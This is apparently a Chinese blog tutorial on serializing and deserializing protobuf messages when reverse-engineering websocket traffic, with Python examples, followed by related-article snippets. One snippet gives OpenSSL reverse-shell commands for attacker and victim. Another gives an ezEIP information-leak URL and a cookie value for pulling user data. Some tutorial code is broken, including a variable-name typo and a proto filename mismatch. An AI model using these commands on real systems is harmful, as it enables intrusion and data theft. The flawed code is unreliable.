websocket逆向-protobuf序列化与反序列化
系列文章目录
训练地址:https://www.qiulianmao.com
- 基础-websocket逆向
- 基础-http拦截
- 基础-websocket拦截
- 基础-base64编码与解码
- 基础-protobuf序列化与反序列化
- 视频号直播弹幕采集
- 实战一:Http轮询
- 更新中
websocket逆向-protobuf序列化与反序列化基础
- 系列文章目录
- 一、基础知识
- 1. 序列化与反序列化
- 2. 常见的数据格式
- 3. 什么是protobuf
- 二、如何判断网站使用了protobuf
- 1. 通过响应进行分析
- 2. 通过请求头进行分析
- 3. 分析js
- 三、protobuf的序列化与反序列化
- 1. 环境配置【python】
- 2.定义proto结构
- 3. 编译 .proto 文件
- 4. 序列化
- 5. 反序列化
- 四、总结
一、基础知识
1. 序列化与反序列化
- 序列化:就是将明文转化成字节序列的过程、方便传输。
- 反序列化:就是将字节序列转化成明文的过程、方便使用。
- 服务器【明文序列化为二进制】-------传输------> 客户端【二进制反序列化为明文】
2. 常见的数据格式
- 文本化协议:json,xml。可视化效果好,便于维护。
- 开源协议:protobufer,json。有现成的序列化与反序列化库,都是经过长期检验的。
- 自定义的二进制数据:自行定义序列化与反序列化规则,自由度高,应用范围不广。
3. 什么是protobuf
- protobuf是二进制数据序列化协议。
- 优点:比json、xml等体积小、传输快。
- 特点:序列化与反序列化需要借助proto文件。像结构体、有顺序、有string、int32、bool、bytes等数据类型。
二、如何判断网站使用了protobuf
1. 通过响应进行分析
请求响应是二进制的,抓包工具显示为乱码。
2. 通过请求头进行分析
在请求标头或者url地址参数中出现protobuf关键字
3. 分析js
js中出现1,2,3这样的顺序,出现string,int64,bytes…数据类型
分析js是非常重要的,在逆向过程中,需要借助js进行反推proto文件,才能对消息进行序列化与发序列化。
三、protobuf的序列化与反序列化
1. 环境配置【python】
- 下载protoc.exe:https://github.com/protocolbuffers/protobuf/releases
- 安装相关库【注意版本对应】
pip install protobuf
pip install google
# 如果提示没有安装google库
pip install google-cloud
pip install google-cloud-vision
2.定义proto结构
- 文件名称:message.proto
syntax = "proto3";// 定义一个 Person 消息类型
message Person {string name = 1;int32 age = 2;Gender gender = 3; // 枚举类型字段map<string, string> email = 4; // Map 类型字段,将字符串键映射到字符串值repeated Cars cars = 5; // 重复字段,表示一个 Cars 类型的数组bool is_student=6; //布尔类型bytes hi = 7;
}// 定义一个 Gender 枚举类型
enum Gender {UNKNOWN = 0;MALE = 1;FEMALE = 2;OTHER = 3;
}// 定义一个 Cars 嵌套消息类型
message Cars{string make = 1; // 假设 Cars 类型有一个名为 make 的字符串字段int32 year = 2; // 假设 Cars 类型有一个名为 year 的 32 位整数字段
}
3. 编译 .proto 文件
有的电脑是不需要前面的.\
进入proto所在cmd路径后,执行
.\protoc --python_out=. person.proto
4. 序列化
# 秋恋猫
import person_pb2def serialize_person():# 创建一个 Person 对象person = person_pb2.Person()person.name = "秋恋猫"person.age = 30person.gender = person_pb2.Gender.FEMALE # 使用枚举值# 添加 email 信息到 Map 字段person.email["plat"] = "qq"person.email["number"] = "qiulianmao@qq.com"# 添加车辆信息到重复字段car1 = person.cars.add()car1.make = "奥迪"car1.year = 2020car2 = person.cars.add()car2.make = "奔驰"car2.year = 2018# 布尔类型person.is_student = True# 字节型persion.hi = b'hi'# 将 Person 对象序列化为字节流serialized_data = person.SerializeToString()return serialized_dataserialized_data = serialize_person()
5. 反序列化
# 秋恋猫
import person_pb2
from google.protobuf.json_format import MessageToDict
def deserialize_person(serialized_data):# 创建一个空的 Person 对象person = person_pb2.Person()# 将字节流反序列化为 Person 对象person.ParseFromString(serialized_data)# Person 对象 转为字典obj1 = MessageToDict(person, preserving_proto_field_name=True)
deserialize_person(serialized_data)
四、总结
本文主要介绍了protobuf序列化与反序列化的知识点,主要讲解了序列化与反序列、常见的数据传输格式以及protobuf的实际使用。
相关文章:

websocket逆向-protobuf序列化与反序列化
系列文章目录 训练地址:https://www.qiulianmao.com 基础-websocket逆向基础-http拦截基础-websocket拦截基础-base64编码与解码基础-protobuf序列化与反序列化视频号直播弹幕采集实战一:Http轮询更新中 websocket逆向-protobuf序列化与反序列化基础 系…...

车载电子电器架构 —— 国产基础软件生态简介
我是穿拖鞋的汉子,魔都中坚持长期主义的汽车电子工程师。 老规矩,分享一段喜欢的文字,避免自己成为高知识低文化的工程师: 屏蔽力是信息过载时代一个人的特殊竞争力,任何消耗你的人和事,多看一眼都是你的不对。非必要不费力证明自己,无利益不试图说服别人,是精神上的节…...

CNN-generated images are surprisingly easy to spot... for now
CNN-generated images are surprisingly easy to spot… for now----《目前CNN生成的图像非常容易被发现》 背景: 研究者们发现,仅仅对一种由CNN模型生成的图像进行训练的分类器,也可以检测许多其他模型生成的结果。由此提出这样的观点&#…...

蓝桥杯(七段码,C++)
思路: 1、把灯管的连接转为图结构,相邻的灯管即认为有边。 2、用深度搜索,去计算有多少种不同字符。 3、因为有每种字符都会重复算两遍,最后的结果需要数以2。 #include <iostream> using namespace std;int graph[7][7…...

Master PDF Editor v5.9.70便携版
软件介绍 Master PDF Editor中文版是一款小巧的多功能PDF编辑器,可以轻松查看,创建,修改,批注,签名,扫描,OCR和打印PDF文档.高级注释工具,可以添加任意便笺指示对象突出显示,添加下划线和删除,而无需更改源PDF文件. 软件截图 更新日志 code-industry.net/what-is-new-in-mas…...

【剑指Offer】20.表示数值的字符串
题目 请实现一个函数用来判断字符串str是否表示数值(包括科学计数法的数字,小数和整数)。 科学计数法的数字(按顺序)可以分成以下几个部分: 1.若干空格 2.一个整数或者小数 3.(可选)一个 e 或 E &…...

2023年9月Web3行业月度发展报告区块链篇 | 陀螺科技会员专享
9月是加密市场的活动月,斯坦福区块链周、Token2049等大型活动相继举办,后者更是创下超过1万人的历史最高纪录,成为了全球最大的Web3活动。在本次Token2049上,RWA、支付以及出入金成为了讨论度最多的活动。尽管活动如火如荼&#x…...

Unity 快捷键的一些记录
1.Unity Prefab Apply All 设置快捷键,修改预设体之后快捷键应用 打包会出问题:The type or namespace name ‘EditorWindow‘ could not be found EditorWindow类无法打包出EXE 添加unity关键字定义如下文所示: #if UNITY_EDITOR using Uni…...

GIT指令 - git stash
命令解释 保存当前工作进度,将工作区和暂存区恢复到修改之前。 使用场景 当在A分支上进行开发,有点事情需要切到B分支上进行开发,但是A分支的代码开发一半,又不想提交,直接切换又会报错,可以使用该指令。…...

LiveMedia视频中间件视频隐私打码直播解决方案
一、方案背景 随着科技的发展,视频监控系统已经成为了我们生活中不可或缺的一部分。无论是在公共区域,还是在私人场所,我们都可以看到各种各样的监控设备。这些设备的出现,无疑提高了我们的生活安全,使得我们可以更好地…...

关于神经网络的思考
关于感知机 感知机(Perceptron)和神经网络(Neural Network)之间有一定的关系,可以说感知机是神经网络的一个基本组成单元。 感知机: 感知机是一种简单的二分类线性分类器。它接受多个输入,对每…...

CodeForces每日好题10.14
给你一个字符串 让你删除一些字符让它变成一个相邻的字母不相同的字符串,问你最小的删除次数 以及你可以完成的所有方/案数 求方案数往DP 或者 组合数学推公式上面去想,发现一个有意思的事情 例如1001011110 这个字符串你划分成1 00 1 0 1111 0 每…...

Python Django 之连接 Mysql 数据库详解
文章目录 1 概述1.1 Mysql 下载和安装1.2 菜单目录 2 ORM 框架2.1 连接 Mysql 模块:mysqlclient2.2 创建数据库2.3 连接 Mysql2.4 创建表2.5 增删改查 3 扩展3.1 ERROR:2026, SSL connection error: unknown error number 1 概述 1.1 Mysql 下载和安装 …...

Java设计模式:Callback
介绍 回调(Callback)是一种设计模式,在这种模式中,一个可执行的代码被作为参数传递给其他代码,接收方的代码可以在适当的时候调用它。 在真实世界的例子中,当我们需要在任务完成时被通知时,我…...

年底旺季,Shopee、Lazada如何通过测评补单技术打造产品权重收割流量
当前Shopee和Lazada平台的主要推广方式仍然以广告为主,毕竟这是平台的主要收入来源之一。然而,由于近年来大量卖家涌入东南亚市场,导致卖家之间的竞争日趋激烈。高额的广告投入并不能带来预期的效果,因此越来越多的卖家开始自学测…...

CentOS 7 安装 MySQL8.0
由于centOS7中默认安装了 MariaDB , 需要先进行卸载 # 查看版本 rpm -qa | grep mariadb # 卸载 rpm -e --nodeps 文件名 # 查看是否卸载干净 rpm -qa | grep mariadb安装wget: yum -y install wget进入/usr/local/下: cd /usr/local/新建mysqlrpm文…...

C# 往多线程传递安全参数的方法
在C#构造一个线程时,要向其传递一个函数,这个函数可以试简单的无参函数,也可以是参数为Object类型的函数,但是由于参数类型为Object,因此编译器无法实行类型检查,看下面的例子: class Program{…...

Java之SPI
Java的SPI(Service Provider Interface)是一种面向接口编程的机制,用于实现组件之间的解耦和扩展。通过SPI机制,我们可以定义接口,并允许第三方提供不同的实现,从而实现可插拔、可扩展的架构。 SPI讲解 它…...

【数据结构】算法的空间复杂度
🦄个人主页:修修修也 🎏所属专栏:数据结构 ⚙️操作环境:Visual Studio 2022 算法空间复杂度的定义 算法的时间复杂度和空间复杂度是度量算法好坏的两个重要量度,在实际写代码的过程中,我们完全可以用空间来换时间,比如说,我们要判断某某年是不是闰年,大…...

恢复Windows 11经典右键菜单:一条命令解决显示更多选项问题
恢复Windows 11经典右键菜单:一条命令解决显示更多选项问题 恢复Windows 11经典右键菜单:一条命令解决显示更多选项问题为什么改变?恢复经典右键菜单 我是将军我一直都在,。! 恢复Windows 11经典右键菜单:一…...

Android:事件分发机制(二)
这篇主要是第一篇回顾之后,补充一些上一篇没写到的两个点。 第一个的切入点是这个。【处理层叠的view,想要执行下一层的view的点击事件】其背后的原理。 处理层叠的view,要执行下一层的view的点击事件 我们知道,方法是将上一层的…...

vue2时间处理插件——dayjs
在vue时间处理上有很多的方法和实现,可以自己实现,但是效率不高,所以,在框架开发中我们一般不会手写,一般是使用集成的第三方插件来解决我们的问题,在vue3中大家一般都使用Moment.js来处理,所以…...

软考 系统架构设计师系列知识点之软件质量属性(6)
接前一篇文章:软考 系统架构设计师系列知识点之软件质量属性(5) 所属章节: 第8章. 系统质量属性与架构评估 第2节. 面向架构评估的质量属性 相关试题 7. 某公司欲开发一个在线教育平台。在架构设计阶段,公司的架构师…...

Python6-wxPython库
Python6-wxPython库 1.wxPython库2.窗口程序2.1 简单的窗口程序2.2 自定义窗口类2.3 面板与静态文本2.4 事件处理 3.布局管理器3.1 盒子布局管理 4.控件4.1 文本输入框4.2 多选框与单选框4.3 列表控件4.4 静态图片 1.wxPython库 官方文档健全:https://docs.wxpytho…...

使用OpenSSL的反弹shell
1、攻击机生成证书: openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes2、攻击机开启服务 openssl s_server -quiet -key key.pem -cert cert.pem -port 803、靶机连接命令 mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1…...

竞赛选题 深度学习OCR中文识别 - opencv python
文章目录 0 前言1 课题背景2 实现效果3 文本区域检测网络-CTPN4 文本识别网络-CRNN5 最后 0 前言 🔥 优质竞赛项目系列,今天要分享的是 🚩 **基于深度学习OCR中文识别系统 ** 该项目较为新颖,适合作为竞赛课题方向,…...

ezEIP信息泄露
漏洞描述 ezEIP存在信息泄露漏洞,通过遍历Cookie中的参数值获取敏感信息 漏洞复现 漏洞Url为 /label/member/getinfo.aspx访问时添加Cookie(通过遍历获取用户的登录名电话邮箱等信息) WHIR_USERINFORwhir_mem_member_pid1;漏洞证明&…...

02.机器学习原理(复习)
目录 机器学习的本质机器学习的类型Regression/回归Classification/分类Structured Learning/结构化学习 ML的三板斧设定范围设定标准监督学习半监督学习其他 达成目标小结达成目标设定标准设定范围 部分截图来自原课程视频《2023李宏毅最新生成式AI教程》,B站自行搜…...

电源集成INN3270C-H215-TL、INN3278C-H114-TL、INN3278C-H215-TL简化了反激式电源转换器的设计和制造。
一、概述 InnoSwitch™3-CP系列IC极大地简化了反激式电源转换器的设计和制造,特别是那些需要高效率和/或紧凑尺寸的产品。InnoSwitch3-CP系列将初级和次级控制器以及安全额定反馈集成到单个IC中。 InnoSwitch3-CP系列器件集成了多种保护功能,包括线路过…...

UE4和C++ 开发--HUD类
HUD 平视显示器(Head Up Display),简称HUD。在蓝图中是指在屏幕上面绘制的二维物体。 1. 创建HUD 打开蓝图编辑器,创建一个蓝图类,搜索HUD,选择并命名BP_HUD。 2. 开始绘制 打开事件列表,右键搜索 EventReceive Draw HUD。有两…...